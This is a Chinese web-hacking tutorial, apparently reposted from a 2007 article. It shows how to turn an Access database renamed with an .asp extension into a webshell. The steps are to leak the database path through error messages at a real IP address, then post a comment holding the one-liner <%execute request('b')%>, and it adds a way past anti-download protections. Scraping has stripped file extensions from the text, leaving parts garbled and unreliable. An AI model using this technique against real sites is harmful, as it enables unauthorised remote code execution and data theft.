改mdb为asp所带来的灾难
时间:2007-12-23 来源:不详 作者:迈克DB
一.思路
大家都知道<%%>为文件的标志符,也就是说一个文件只会去执行<% %>之间的代码,access+的web系统的所有数据都是存放在文件里(mdb文件),由于治理者把mdb文件改为了文件,假如我们提交的数据里包含有<% %>,那当我们访问这个的时候就会去执行<% %>之间的代码。这样导致我们只提交恶意代码给,那么后缀的就是我们的webshell了。
二.示例
随便找个目标,首先我们暴库,看是不是后缀的:
http://220.170.151.103/test/dlog\showlog.?cat_id=5&log_id=210
返回:
本文来自织梦
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.,行242
Microsoft JET Database Engine 错误 '80004005'
'D:\log_mdb\)dlog_mdb).'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/test/conn.,行18 dedecms.com
我们提交:http://220.170.151.103/test/dlog/log_mdb/%29dlog_mdb%29.返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:
< %execute request("b")%> 内容来自dedecms
这样我们就把代码:<%execute request("b")%>写入了,那么:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%29dlog_mdb%29.在乱码的最后我们看到:
/iisHelp/common/500-100.,行242
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
/test/dlog/log_mdb/)dlog_mdb).,行1266
织梦好,好织梦
我们的插入的代码运行了。如下图:
注重:我们在向提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。
三.其他一些问题和思路
1.对于改了后缀为,还对里加入了<%=’a’-1%>等非法的代码来彻底防止下载的,由于里面存在了非法的代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。
2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用备用改后缀为。
文章评论
共有位Admini5网友发表了评论 查看完整内容